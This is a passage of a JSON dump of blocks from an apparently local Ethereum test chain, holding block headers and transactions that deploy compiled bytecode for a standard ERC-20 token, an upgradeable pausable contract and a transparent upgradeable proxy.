66095e160e11b81523360048201526024016104e3565b33600081815260fd6020526040808220600101829055517fc5f84593e7086c66a205abab7ee44e1a8e6db58e50bf18ca46cb8239118b5ecd9190a2565b60655460ff16156106cd5760405162461bcd60e51b815260206004820152601060248201526f14185d5cd8589b194e881c185d5cd95960821b60448201526064016104e3565b6106ba611093565b7f4910fdfa16fed3260ed0e7147f7cc6da11a60208b5b9406d12a635614ffd91435460ff1615610f5b57610f5683611253565b505050565b826001600160a01b03166352d1902d6040518163ffffffff1660e01b8152600401602060405180830381865afa925050508015610fb5575060408051601f3d908101601f19168201909252610fb291810190611941565b60015b6110185760405162461bcd60e51b815260206004820152602e60248201527f45524331393637557067726164653a206e657720696d706c656d656e7461746960448201526d6f6e206973206e6f74205555505360901b60648201526084016104e3565b600080516020611a1983398151915281146110875760405162461bcd60e51b815260206004820152602960248201527f45524331393637557067726164653a20756e737570706f727465642070726f786044820152681a58589b195555525160ba1b60648201526084016104e3565b50610f568383836112ef565b6033546001600160a01b031633146106cd5760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657260448201526064016104e3565b6110f5611314565b6065805460ff191690557f5db9ee0a495bf2e6ff9c91a7834c1ba4fdd244a5e8aa4e537bd38aeae4b073aa335b6040516001600160a01b03909116815260200160405180910390a1565b603380546001600160a01b038381166001600160a01b0319831681179093556040519116919082907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e090600090a35050565b611199610ed5565b6065805460ff191660011790557f62e78cea01bee320cd4e420270b5ea74000d11b0c9f74754ebdbfc544b05a2586111223390565b600054610100900460ff166111f55760405162461bcd60e51b81526004016104e39061195a565b6106cd61135d565b600054610100900460ff166106cd5760405162461bcd60e51b81526004016104e39061195a565b600054610100900460ff1661124b5760405162461bcd60e51b81526004016104e39061195a565b6106cd61138d565b6001600160a01b0381163b6112c05760405162461bcd60e51b815260206004820152602d60248201527f455243313936373a206e657720696d706c656d656e746174696f6e206973206e60448201526c1bdd08184818dbdb9d1c9858dd609a1b60648201526084016104e3565b600080516020611a1983398151915280546001600160a01b0319166001600160a01b0392909216919091179055565b6112f8836113c0565b6000825111806113055750805b15610f5657610de38383611400565b60655460ff166106cd5760405162461bcd60e51b815260206004820152601460248201527314185d5cd8589b194e881b9bdd081c185d5cd95960621b60448201526064016104e3565b600054610100900460ff166113845760405162461bcd60e51b81526004016104e39061195a565b6106cd3361113f565b600054610100900460ff166113b45760405162461bcd60e51b81526004016104e39061195a565b6065805460ff19169055565b6113c981611253565b6040516001600160a01b038216907fbc7cd75a20ee27fd9adebab32041f755214dbc6bffa90cc0225b39da2e5c2d3b90600090a250565b60606001600160a01b0383163b6114685760405162461bcd60e51b815260206004820152602660248201527f416464726573733a2064656c65676174652063616c6c20746f206e6f6e2d636f6044820152651b9d1c9858dd60d21b60648201526084016104e3565b600080846001600160a01b03168460405161148391906119c9565b600060405180830381855af49150503d80600081146114be576040519150601f19603f3d011682016040523d82523d6000602084013e6114c3565b606091505b50915091506114eb8282604051806060016040528060278152602001611a39602791396114f6565b925050505b92915050565b6060831561150557508161152f565b8251156115155782518084602001fd5b8160405162461bcd60e51b81526004016104e391906119e5565b9392505050565b634e487b7160e01b600052601160045260246000fd5b808201808211156114f0576114f0611536565b6001600160a01b03811681146106ba57600080fd5b60006020828403121561158657600080fd5b813561152f8161155f565b6000602082840312156115a357600080fd5b5035919050565b634e487b7160e01b600052604160045260246000fd5b600080604083850312156115d357600080fd5b82356115de8161155f565b9150602083013567ffffffffffffffff8111156115fa57600080fd5b8301601f8101851361160b57600080fd5b803567ffffffffffffffff811115611625576116256115aa565b604051601f8201601f19908116603f0116810167ffffffffffffffff81118282101715611654576116546115aa565b60405281815282820160200187101561166c57600080fd5b816020840160208301376000602083830101528093505050509250929050565b60008083601f84011261169e57600080fd5b50813567ffffffffffffffff8111156116b657600080fd5b6020830191508360208260051b85010111156116d157600080fd5b9250929050565b60008060008060008060008060c0898b0312156116f457600080fd5b88359750602089013567ffffffffffffffff81111561171257600080fd5b8901601f81018b1361172357600080fd5b803567ffffffffffffffff81111561173a57600080fd5b8b602082840101111561174c57600080fd5b60209190910197509550604089013567ffffffffffffffff81111561177057600080fd5b61177c8b828c0161168c565b999c989b5096999698976060880135976080810135975060a0013595509350505050565b6000806000606084860312156117b557600080fd5b83356117c08161155f565b925060208401356117d08161155f565b915060408401356117e08161155f565b809150509250925092565b818103818111156114f0576114f0611536565b6020808252602c908201527f46756e6374696f6e206d7573742062652063616c6c6564207468726f7567682060408201526b19195b1959d85d1958d85b1b60a21b606082015260800190565b6020808252602c908201527f46756e6374696f6e206d7573742062652063616c6c6564207468726f7567682060408201526b6163746976652070726f787960a01b606082015260800190565b80820281158282048414176114f0576114f0611536565b634e487b7160e01b600052603260045260246000fd5b6000600182016118d5576118d5611536565b5060010190565b600063ffffffff821663ffffffff81036118f8576118f8611536565b60010192915050565b848152606060208201528260608201528284608083013760006080848301015260006080601f19601f860116830101905082604083015295945050505050565b60006020828403121561195357600080fd5b5051919050565b6020808252602b908201527f496e697469616c697a61626c653a20636f6e7472616374206973206e6f74206960408201526a6e697469616c697a696e6760a81b606082015260800190565b60005b838110156119c05781810151838201526020016119a8565b50506000910152565b600082516119db8184602087016119a5565b9190910192915050565b6020815260008251806020840152611a048160408501602087016119a5565b601f01601f1916919091016040019291505056fe360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc416464726573733a206c6f772d6c6576656c2064656c65676174652063616c6c206661696c6564a26469706673582212206748051d7a2f61bea55c916703299805f41105f129e68bce3e4f529bc9c61fa664736f6c634300081c0033","r":"0xca8962f3e9a565b1afdd1abbdb3174919478382178bd0587113655d14070fc9a","s":"0x68c2642f42fd62e2d8f576276d59e84935f2ab9356bc69ce86a46c2908070617","yParity":"0x1","hash":"0xfcbb0c5242cdb760304c93df27d590eef52814e856c2ee7005005fb0c7216158"}},"impersonated_sender":null}],"ommers":[]},{"header":{"parentHash":"0x1b66e4daade697ba1e5723ea9c0548ffb1f11de79d6fa07394bf8f4022c3724f","ommersHash":"0x1dcc4de8dec75d7aab85b567b6ccd41ad312451b948a7413f0a142fd40d49347","beneficiary":"0x0000000000000000000000000000000000000000","stateRoot":"0xcbdb035427d491d31d4f17f4df3a1c5d65b3785ade0257e30339ece23d8e1c58","transactionsRoot":"0x6aff3ceaa9784eb771580c1871627b1eb3006f36ae26a96f414b8ee51b5007d9","receiptsRoot":"0x7c5011d33322043f2aee7a849bd01b282e95b36e93cca411853e930e7fff96fd","withdrawalsRoot":"0x56e81f171bcc55a6ff8345e692c0f86e5b48e01b996cadc001622fb5e363b421","logsBloom":"0x00000000000000000000000000000000400004000000000000000000000000000000000000000000000400000000000000400000000000000004000000000000000000000000000000000000000002000000000000000000000000000000400000000000000000000000000000000000000000800000000000000000000000000000000000000000000000000000000000000000000000000000000000800000000000000000000000000000000000000000000000000000000000000000000000000020080000000000000000000000000000000400000000000000000000000000000000000000000000000000000000000000000000000000000000000000","difficulty":"0x0","number":"0x12","gasLimit":"0x1c9c380","gasUsed":"0xde9e2","timestamp":"0x67212bff","mixHash":"0x0000000000000000000000000000000000000000000000000000000000000000","nonce":"0x0000000000000000","baseFeePerGas":"0x83ad344","blobGasUsed":"0x0","excessBlobGas":"0x0","parentBeaconBlockRoot":"0x0000000000000000000000000000000000000000000000000000000000000000","extraData":"0x"},"transactions":[{"transaction":{"EIP1559":{"chainId":"0x7a69","nonce":"0x1b","gas":"0x6b713","maxFeePerGas":"0x77359401","maxPriorityFeePerGas":"0x1","value":"0x0","accessList":[],"input":"0x6080604052348015600f57600080fd5b506105298061001f6000396000f3fe608060405234801561001057600080fd5b506004361061007d5760003560e01c806340c10f191161005b57806340c10f19146100cf57806370a08231146100e4578063a9059cbb1461010d578063dd62ed3e1461012057600080fd5b8063095ea7b31461008257806318160ddd146100aa57806323b872dd146100bc575b600080fd5b610095610090366004610416565b610159565b60405190151581526020015b60405180910390f35b6002545b6040519081526020016100a1565b6100956100ca366004610440565b610162565b6100e26100dd366004610416565b610179565b005b6100ae6100f236600461047d565b6001600160a01b031660009081526020819052604090205490565b61009561011b366004610416565b610187565b6100ae61012e36600461049f565b6001600160a01b03918216600090815260016020908152604080832093909416825291909152205490565b60015b92915050565b600061016f848484610191565b5060019392505050565b610183828261033b565b5050565b60003361016f8185855b6001600160a01b0383166101fa5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084015b60405180910390fd5b6001600160a01b03821661025c5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016101f1565b6001600160a01b0383166000908152602081905260409020548111156102d35760405162461bcd60e51b815260206004820152602660248201527f45524332303a207472616e7366657220616d6f756e7420657863656564732062604482015265616c616e636560d01b60648201526084016101f1565b6001600160a01b038381166000818152602081815260408083208054879003905593861680835291849020805486019055925184815290927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef910160405180910390a3505050565b6001600160a01b0382166103915760405162461bcd60e51b815260206004820152601f60248201527f45524332303a206d696e7420746f20746865207a65726f20616464726573730060448201526064016101f1565b80600260008282546103a391906104d2565b90915550506001600160a01b038216600081815260208181526040808320805486019055518481527fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef910160405180910390a35050565b80356001600160a01b038116811461041157600080fd5b919050565b6000806040838503121561042957600080fd5b610432836103fa565b946020939093013593505050565b60008060006060848603121561045557600080fd5b61045e846103fa565b925061046c602085016103fa565b929592945050506040919091013590565b60006020828403121561048f57600080fd5b610498826103fa565b9392505050565b600080604083850312156104b257600080fd5b6104bb836103fa565b91506104c9602084016103fa565b90509250929050565b8082018082111561015c57634e487b7160e01b600052601160045260246000fdfea26469706673582212207dcc3a1a28726484144825c2fae6f73b060be6cb27431e56efe26512aa3db1d064736f6c634300081c0033","r":"0xe9b95906216f312ac6ba6e2f49fe4e2ec42f1eef4e648eccfe0c15556e4aef54","s":"0x137b091a39020f772abdb8b60bfe0c2dbd5a8484cf52f3cf230b479e3c368051","yParity":"0x1","hash":"0xbd915f86d3825918e7b3e23f3a26470ab72a7643e95da39926f2f79c5e79e809"}},"impersonated_sender":null},{"transaction":{"EIP1559":{"chainId":"0x7a69","nonce":"0x1c","gas":"0xb5dcb","maxFeePerGas":"0x77359401","maxPriorityFeePerGas":"0x1","value":"0x0","accessList":[],"input":"0x6080604052604051610d78380380610d78833981016040819052610022916103e7565b828161003082826000610044565b5061003c905082610070565b50505061050c565b61004d836100de565b60008251118061005a5750805b1561006b57610069838361011e565b505b505050565b7f7e644d79422f17c01e4894b5f4f588d331ebfa28653d42ae832dc59e38c9798f6100b0600080516020610d31833981519152546001600160a01b031690565b604080516001600160a01b03928316815291841660208301520160405180910390a16100db8161014a565b50565b6100e7816101e6565b6040516001600160a01b038216907fbc7cd75a20ee27fd9adebab32041f755214dbc6bffa90cc0225b39da2e5c2d3b90600090a250565b60606101438383604051806060016040528060278152602001610d516027913961027a565b9392505050565b6001600160a01b0381166101b45760405162461bcd60e51b815260206004820152602660248201527f455243313936373a206e65772061646d696e20697320746865207a65726f206160448201526564647265737360d01b60648201526084015b60405180910390fd5b80600080516020610d318339815191525b80546001600160a01b0319166001600160a01b039290921691909117905550565b6001600160a01b0381163b6102535760405162461bcd60e51b815260206004820152602d60248201527f455243313936373a206e657720696d706c656d656e746174696f6e206973206e60448201526c1bdd08184818dbdb9d1c9858dd609a1b60648201526084016101ab565b807f360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc6101c5565b60606001600160a01b0384163b6102e25760405162461bcd60e51b815260206004820152602660248201527f416464726573733a2064656c65676174652063616c6c20746f206e6f6e2d636f6044820152651b9d1c9858dd60d21b60648201526084016101ab565b600080856001600160a01b0316856040516102fd91906104bd565b600060405180830381855af49150503d8060008114610338576040519150601f19603f3d011682016040523d82523d6000602084013e61033d565b606091505b50909250905061034e828286610358565b9695505050505050565b60608315610367575081610143565b8251156103775782518084602001fd5b8160405162461bcd60e51b81526004016101ab91906104d9565b80516001600160a01b03811681146103a857600080fd5b919050565b634e487b7160e01b600052604160045260246000fd5b60005b838110156103de5781810151838201526020016103c6565b50506000910152565b6000806000606084860312156103fc57600080fd5b61040584610391565b925061041360208501610391565b60408501519092506001600160401b0381111561042f57600080fd5b8401601f8101861361044057600080fd5b80516001600160401b03811115610459576104596103ad565b604051601f8201601f19908116603f011681016001600160401b0381118282101715610487576104876103ad565b60405281815282820160200188101561049f57600080fd5b6104b08260208301602086016103c3565b8093505050509250925092565b600082516104cf8184602087016103c3565b9190910192915050565b60208152600082518060208401526104f88160408501602087016103c3565b601f01601f19169190910160400192915050565b6108168061051b6000396000f3fe60806040526004361061004e5760003560e01c80633659cfe6146100655780634f1ef286146100855780635c60da1b146100985780638f283970146100c9578063f851a440146100e95761005d565b3661005d5761005b6100fe565b005b61005b6100fe565b34801561007157600080fd5b5061005b6100803660046106a6565b610118565b61005b6100933660046106c1565b610155565b3480156100a457600080fd5b506100ad6101bc565b6040516001600160a01b03909116815260200160405180910390f35b3480156100d557600080fd5b5061005b6100e43660046106a6565b6101ed565b3480156100f557600080fd5b506100ad61020d565b61010661022e565b6101166101116102c3565b6102cd565b565b6101206102f1565b6001600160a01b0316330361014d5761014a81604051806020016040528060008152506000610324565b50565b61014a6100fe565b61015d6102f1565b6001600160a01b031633036101b4576101af8383838080601f01602080910402602001604051908101604052809392919081815260200183838082843760009201919091525060019250610324915050565b505050565b6101af6100fe565b60006101c66102f1565b6001600160a01b031633036101e2576101dd6102c3565b905090565b6101ea6100fe565b90565b6101f56102f1565b6001600160a01b0316330361014d5761014a8161034f565b60006102176102f1565b6001600160a01b031633036101e2576101dd6102f1565b6102366102f1565b6001600160a01b031633036101165760405162461bcd60e51b815260206004820152604260248201527f5472616e73706172656e745570677261646561626c6550726f78793a2061646d60448201527f696e2063616e6e6f742066616c6c6261636b20746f2070726f78792074617267606482015261195d60f21b608482015260a4015b60405180910390fd5b60006101dd6103a3565b3660008037600080366000845af43d6000803e8080156102ec573d6000f35b3d6000fd5b60007fb53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d61035b546001600160a01b0316919050565b61032d836103cb565b60008251118061033a5750805b156101af57610349838361040b565b50505050565b7f7e644d79422f17c01e4894b5f4f588d331ebfa28653d42ae832dc59e38c9798f6103786102f1565b604080516001600160a01b03928316815291841660208301520160405180910390a161014a81610437565b60007f360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc610315565b6103d4816104e0565b6040516001600160a01b038216907fbc7cd75a20ee27fd9adebab32041f755214dbc6bffa90cc0225b39da2e5c2d3b90600090a250565b606061043083836040518060600160405280602781526020016107ba60279139610574565b9392505050565b6001600160a01b03811661049c5760405162461bcd60e51b815260206004820152602660248201527f455243313936373a206e65772061646d696e20697320746865207a65726f206160448201526564647265737360d01b60648201526084016102ba565b807fb53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d61035b80546001600160a01b0319166001600160a01b039290921691909117905550565b6001600160a01b0381163b61054d5760405162461bcd60e51b815260206004820152602d60248201527f455243313936373a206e657720696d706c656d656e746174696f6e206973206e60448201526c1bdd08184818dbdb9d1c9858dd609a1b60648201526084016102ba565b807f360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc6104bf565b60606001600160a01b0384163b6105dc5760405162461bcd60e51b815260206004820152602660248201527f416464726573733a2064656c65676174652063616c6c20746f206e6f6e2d636f6044820152651b9d1c9858dd60d21b60648201526084016102ba565b600080856001600160a01b0316856040516105f7919061076a565b600060405180830381855af49150503d8060008114610632576040519150601f19603f3d011682016040523d82523d6000602084013e610637565b606091505b5091509150610647828286610651565b9695505050505050565b60608315610660575081610430565b8251156106705782518084602001fd5b8160405162461bcd60e51b81526004016102ba9190610786565b80356001600160a01b03811681146106a157600080fd5b919050565b6000602082840312156106b857600080fd5b6104308261068a565b6000806000604084860312156106d657600080fd5b6106df8461068a565b9250602084013567ffffffffffffffff8111156106fb57600080fd5b8401601f8101861361070c57600080fd5b803567ffffffffffffffff81111561072357600080fd5b86602082840101111561073557600080fd5b939660209190910195509293505050565b60005b83811015610761578181015183820152602001610749565b50506000910152565b6000825161077c818460208701610746565b9190910192915050565b60208152600082518060208401526107a5816040850160208701610746565b601f01601f1916919091016040019291505056fe416464726573733a206c6f772d6c6576656c2064656c65676174652063616c6c206661696c6564a2646970667358221220382403f9f1ed20a5a1d1c5dbd9a1753b13344687a8aec46834674bad6791d34064736f6c634300081c0033b53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d6103416464726573733a206c6f772d6c6576656c2064656c65676174652063616c6c206661696c65640000000000000000000000009fe46736679d2d9a65f0992f2272de9f3c7fa6e00000000000000000000000005fbdb2315678afecb367f032d93f642f64180aa300000000000000000000000000000000000000000000000000000000000000600000000000000000000000000000000000000000000000000000000000000000","r":"0xef20cbe4386a5e2c3a61dea0f1bc86a5dafb9af35a2ba65f20ff3d604c92dc81","s":"0x7023303ac677b33a3199e9e5d77edd07b3bfc09895dbd6e01c41d21fdaf8672e","yParity":"0x0","hash":"0x2c639a7ffaf188e645bdd0f62c0f0b303593a3b144b04842affe5a3b4f3f4eef"}},"impersonated_sender":null}],"ommers":[]},{"header":{"parentHash":"0x2adb1a20555aa67a5bea87f7b77e7b77b2d01daa8a667bbcd3a29097c770975d","ommersHash":"0x1dcc4de8dec75d7aab85b567b6ccd41ad312451b948a7413f0a142fd40d49347","beneficiary":"0x0000000000000000000000000000000000000000","stateRoot":"0x5757d95134aedb060ca3ed0184f852aa2e25164b541f88f2bb04eca1b7a39e97","transactionsRoot":"0x850504454ffa486c9980c9e7a5a7bc73931e61d57b85f2d4f2d87fabfe6ba156","receiptsRoot":"0x30ec9de3e4c5b93046861a6bedffabb2f790486de03453863e1a3ff0aa967507","withdrawalsRoot":"0x56e81f171bcc55a6ff8345e692c0f86e5b48e01b996cadc001622fb5e363b421","logsBloom":"0x00000000000000000000000000000000400400000000000000000000000000000000000000000000000400000000000000c00010000000000000000000000000000000000000000000000000000002000000000000000010000000000000400008000000000000000000010000000020000000800000000000000000000000000400000000000000000000000000000000000000000000000000000000800000000000000000000000000000000000000000000000000000000000000000000000000020000000000000000000000000000000000400000000000000000000000000000000000000000000000000000000000000000000000000000000001000","difficulty":"0x0","number":"0x3","gasLimit":"0x1c9c380","gasUsed":"0x1a3d8a","timestamp":"0x67212c10","mixHash":"0x0000000000000000000000000000000000000000000000000000000000000000","nonce":"0x0000000000000000","baseFeePerGas":"0x2df471b7","blobGasUsed":"0x0","excessBlobGas":"0x0","parentBeaconBlockRoot":"0x0000000000000000000000000000000000000000000000000000000000000000","extraData":"0x"},"transactions":[{"transaction":{"EIP1559":{"chainId":"0x7a69","nonce":"0x23","gas":"0xb5dcb","maxFeePerGas":"0x77359401","maxPriorityFeePerGas":"0x1","value":"0x0","accessList":[],"input":"0x6080604052604051610d78380380610d78833981016040819052610022916103e7565b828161003082826000610044565b5061003c905082610070565b50505061050c565b61004d836100de565b60008251118061005a5750805b1561006b57610069838361011e565b505b505050565b7f7e644d79422f17c01e4894b5f4f588d331ebfa28653d42ae832dc59e38c9798f6100b0600080516020610d31833981519152546001600160a01b031690565b604080516001600160a01b03928316815291841660208301520160405180910390a16100db8161014a565b50565b6100e7816101e6565b6040516001600160a01b038216907fbc7cd75a20ee27fd9adebab32041f755214dbc6bffa90cc0225b39da2e5c2d3b90600090a250565b60606101438383604051806060016040528060278152602001610d516027913961027a565b9392505050565b6001600160a01b0381166101b45760405162461bcd60e51b815260206004820152602660248201527f455243313936373a206e65772061646d696e20697320746865207a65726f206160448201526564647265737360d01b60648201526084015b60405180910390fd5b80600080516020610d318339815191525b80546001600160a01b0319166001600160a01b039290921691909117905550565b6001600160a01b0381163b6102535760405162461bcd60e51b815260206004820152602d60248201527f455243313936373a206e657720696d706c656d656e746174696f6e206973206e60448201526c1bdd08184818dbdb9d1c9858dd609a1b60648201526084016101ab565b807f360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc6101c5565b60606001600160a01b0384163b6102e25760405162461bcd60e51b815260206004820152602660248201527f416464726573733a2064656c65676174652063616c6c20746f206e6f6e2d636f6044820152651b9d1c9858dd60d21b60648201526084016101ab565b600080856001600160a01b0316856040516102fd91906104bd565b600060405180830381855af49150503d8060008114610338576040519150601f19603f3d011682016040523d82523d6000602084013e61033d565b606091505b50909250905061034e828286610358565b9695505050505050565b60608315610367575081610143565b8251156103775782518084602001fd5b8160405162461bcd60e51b81526004016101ab91906104d9565b80516001600160a01b03811681146103a857600080fd5b919050565b634e487b7160e01b600052604160045260246000fd5b60005b838110156103de5781810151838201526020016103c6565b50506000910152565b6000806000606084860312156103fc57600080fd5b61040584610391565b925061041360208501610391565b60408501519092506001600160401b0381111561042f57600080fd5b8401601f8101861361044057600080fd5b80516001600160401b03811115610459576104596103ad565b604051601f8201601f19908116603f011681016001600160401b0381118282101715610487576104876103ad565b60405281815282820160200188101561049f57600080fd5b6104b08260208301602086016103c3565b8093505050509250925092565b600082516104cf8184602087016103c3565b9190910192915050565b60208152600082518060208401526104f88160408501602087016103c3565b601f01601f19169190910160400192915050565b6108168061051b6000396000f3fe60806040526004361061004e5760003560e01c80633659cfe6146100655780634f1ef286146100855780635c60da1b146100985780638f283970146100c9578063f851a440146100e95761005d565b3661005d5761005b6100fe565b005b61005b6100fe565b34801561007157600080fd5b5061005b6100803660046106a6565b610118565b61005b6100933660046106c1565b610155565b3480156100a457600080fd5b506100ad6101bc565b6040516001600160a01b03909116815260200160405180910390f35b3480156100d557600080fd5b5061005b6100e43660046106a6565b6101ed565b3480156100f557600080fd5b506100ad61020d565b61010661022e565b6101166101116102c3565b6102cd565b565b6101206102f1565b6001600160a01b0316330361014d5761014a81604051806020016040528060008152506000610324565b50565b61014a6100fe565b61015d6102f1565b6001600160a01b031633036101b4576101af8383838080601f01602080910402602001604051908101604052809392919081815260200183838082843760009201919091525060019250610324915050565b505050565b6101af6100fe565b60006101c66102f1565b6001600160a01b031633036101e2576101dd6102c3565b905090565b6101ea6100fe565b90565b6101f56102f1565b6001600160a01b0316330361014d5761014a8161034f565b60006102176102f1565b6001600160a01b031633036101e2576101dd6102f1565b6102366102f1565b6001600160a01b031633036101165760405162461bcd60e51b815260206004820152604260248201527f5472616e73706172656e745570677261646561626c6550726f78793a2061646d60448201527f696e2063616e6e6f742066616c6c6261636b20746f2070726f78792074617267606482015261195d60f21b608482015260a4015b60405180910390fd5b60006101dd6103a3565b3660008037600080366000845af43d6000803e8080156102ec573d6000f35b3d6000fd5b60007fb53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d61035b546001600160a01b0316919050565b61032d836103cb565b60008251118061033a5750805b156101af57610349838361040b565b50505050565b7f7e644d79422f17c01e4894b5f4f588d331ebfa28653d42ae832dc59e38c9798f6103786102f1565b604080516001600160a01b03928316815291841660208301520160405180910390a161014a81610437565b60007f360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc610315565b6103d4816104e0565b6040516001600160a01b038216907fbc7cd75a20ee27fd9adebab32041f755214dbc6bffa90cc0225b39da2e5c2d3b90600090a250565b606061043083836040518060600160405280602781526020016107ba60279139610574565b9392505050565b6001600160a01b03811661049c5760405162461bcd60e51b815260206004820152602660248201527f455243313936373a206e65772061646d696e20697320746865207a65726f206160448201526564647265737360d01b60648201526084016102ba565b807fb53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d61035b80546001600160a01b0319166001600160a01b039290921691909117905550565b6001600160a01b0381163b61054d5760405162461bcd60e51b815260206004820152602d60248201527f455243313936373a206e657720696d706c656d656e746174696f6e206973206e60448201526c1bdd08184818dbdb9d1c9858dd609a1b60648201526084016102ba565b807f360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc6104bf565b60606001600160a01b0384163b6105dc5760405162461bcd60e51b815260206004820152602660248201527f416464726573733a2064656c65676174652063616c6c20746f206e6f6e2d636f6044820152651b9d1c9858dd60d21b60648201526084016102ba565b600080856001600160a01b0316856040516105f7919061076a565b600060405180830381855af49150503d8060008114610632576040519150601f19603f3d011682016040523d82523d6000602084013e610637565b606091505b5091509150610647828286610651565b9695505050505050565b60608315610660575081610430565b8251156106705782518084602001fd5b8160405162461bcd60e51b81526004016102ba9190610786565b80356001600160a01b03811681146106a157600080fd5b919050565b6000602082840312156106b857600080fd5b6104308261068a565b6000806000604084860312156106d657600080fd5b6106df8461068a565b9250602084013567ffffffffffffffff8111156106fb57600080fd5b8401601f8101861361070c57600080fd5b803567ffffffffffffffff81111561072357600080fd5b86602082840101111561073557600080fd5b939660209190910195509293505050565b60005b83811015610761578181015183820152602001610749565b50506000910152565b6000825161077c818460208701610746565b9190910192915050565b60208152600082518060208401526107a5816040850160208701610746565b601f01601f1916919091016040019291505056fe416464726573733a206c6f772d6c6576656c2064656c65676174652063616c6c206661696c6564a2646970667358221220382403f9f1ed20a5a1d1c5dbd9a1753b13344687a8aec46834674bad6791d34064736f6c634300081c0033b53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d6103416464726573733a206c6f772d6c6576656c2064656c65676174652063616c6c206661696c65640000000000000000000000009fe46736679d2d9a65f0992f2272de9f3c7fa6e00000000000000000000000009e545e3c0baab3e08cdfd552c960a1050f37304200000000000000000000000000000000000000000000000000000000000000600000000000000000000000000000000000000000000000000000000000000000","r":"0xe34677ec832a784efef496077ba6ba8d0eedaf193dedb9067878485eb8ba5e41","s":"0x66a103fbbbbc44b5b34be548b32bba8c82202a008ef468aa682ede8d0ddaeb27","yParity":"0x1","hash":"0x004119848c4a82aeb6af0f18586aa027a6274b138ad0e54354b2512ee5883afc"}},"impersonated_sender":null},{"transaction":{"EIP1559":{"chainId":"0x7a69","nonce":"0x24","gas":"0xb5dcb","maxFeePerGas":"0x77359401","maxPriorityFeePerGas":"0x1","value":"0x0","accessList":[],"input":"0x6080604052604051610d78380380610d78833981016040819052610022916103e7565b828161003082826000610044565b5061003c905082610070565b50505061050c565b61004d836100de565b60008251118061005a5750805b1561006b57610069838361011e565b505b505050565b7f7e644d79422f17c01e4894b5f4f588d331ebfa28653d42ae832dc59e38c9798f6100b0600080516020610d31833981519152546001600160a01b031690565b604080516001600160a01b03928316815291841660208301520160405180910390a16100db8161014a565b50565b6100e7816101e6565b6040516001600160a01b038216907fbc7cd75a20ee27fd9adebab32041f755214dbc6bffa90cc0225b39da2e5c2d3b90600090a250565b60606101438383604051806060016040528060278152602001610d516027913961027a565b9392505050565b6001600160a01b0381166101b45760405162461bcd60e51b815260206004820152602660248201527f455243313936373a206e65772061646d696e20697320746865207a65726f206160448201526564647265737360d01b60648201526084015b60405180910390fd5b80600080516020610d318339815191525b80546001600160a01b0319166001600160a01b039290921691909117905550565b6001600160a01b0381163b6102535760405162461bcd60e51b815260206004820152602d60248201527f455243313936373a206e657720696d706c656d656e746174696f6e206973206e60448201526c1bdd08184818dbdb9d1c9858dd609a1b60648201526084016101ab565b807f360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc6101c5565b60606001600160a01b0384163b6102e25760405162461bcd60e51b815260206004820152602660248201527f416464726573733a2064656c65676174652063616c6c20746f206e6f6e2d636f6044820152651b9d1c9858dd60d21b60648201526084016101ab565b600080856001600160a01b0316856040516102fd91906104bd565b600060405180830381855af49150503d8060008114610338576040519150601f19603f3d011682016040523d82523d6000602084013e61033d565b606091505b50909250905061034e828286610358565b9695505050505050565b60608315610367575081610143565b8251156103775782518084602001fd5b8160405162461bcd60e51b81526004016101ab91906104d9565b80516001600160a01b03811681146103a857600080fd5b919050565b634e487b7160e01b600052604160045260246000fd5b60005b838110156103de5781810151838201526020016103c6565b50506000910152565b6000806000606084860312156103fc57600080fd5b61040584610391565b925061041360208501610391565b60408501519092506001600160401b0381111561042f57600080fd5b8401601f8101861361044057600080fd5b80516001600160401b03811115610459576104596103ad565b604051601f8201601f19908116603f011681016001600160401b0381118282101715610487576104876103ad565b60405281815282820160200188101561049f57600080fd5b6104b08260208301602086016103c3565b8093505050509250925092565b600082516104cf8184602087016103c3565b9190910192915050565b60208152600082518060208401526104f88160408501602087016103c3565b601f01601f19169190910160400192915050565b6108168061051b6000396000f3fe60806040526004361061004e5760003560e01c80633659cfe6146100655780634f1ef286146100855780635c60da1b146100985780638f283970146100c9578063f851a440146100e95761005d565b3661005d5761005b6100fe565b005b61005b6100fe565b34801561007157600080fd5b5061005b6100803660046106a6565b610118565b61005b6100933660046106c1565b610155565b3480156100a457600080fd5b506100ad6101bc565b6040516001600160a01b03909116815260200160405180910390f35b3480156100d557600080fd5b5061005b6100e43660046106a6565b6101ed565b3480156100f557600080fd5b506100ad61020d565b61010661022e565b6101166101116102c3565b6102cd565b565b6101206102f1565b6001600160a01b0316330361014d5761014a81604051806020016040528060008152506000610324565b50565b61014a6100fe565b61015d6102f1565b6001600160a01b031633036101b4576101af8383838080601f01602080910402602001604051908101604052809392919081815260200183838082843760009201919091525060019250610324915050565b505050565b6101af6100fe565b60006101c66102f1565b6001600160a01b031633036101e2576101dd6102c3565b905090565b6101ea6100fe565b90565b6101f56102f1565b6001600160a01b0316330361014d5761014a8161034f565b60006102176102f1565b6001600160a01b031633036101e2576101dd6102f1565b6102366102f1565b6001600160a01b031633036101165760405162461bcd60e51b815260206004820152604260248201527f5472616e73706172656e745570677261646561626c6550726f78793a2061646d60448201527f696e2063616e6e6f742066616c6c6261636b20746f2070726f78792074617267606482015261195d60f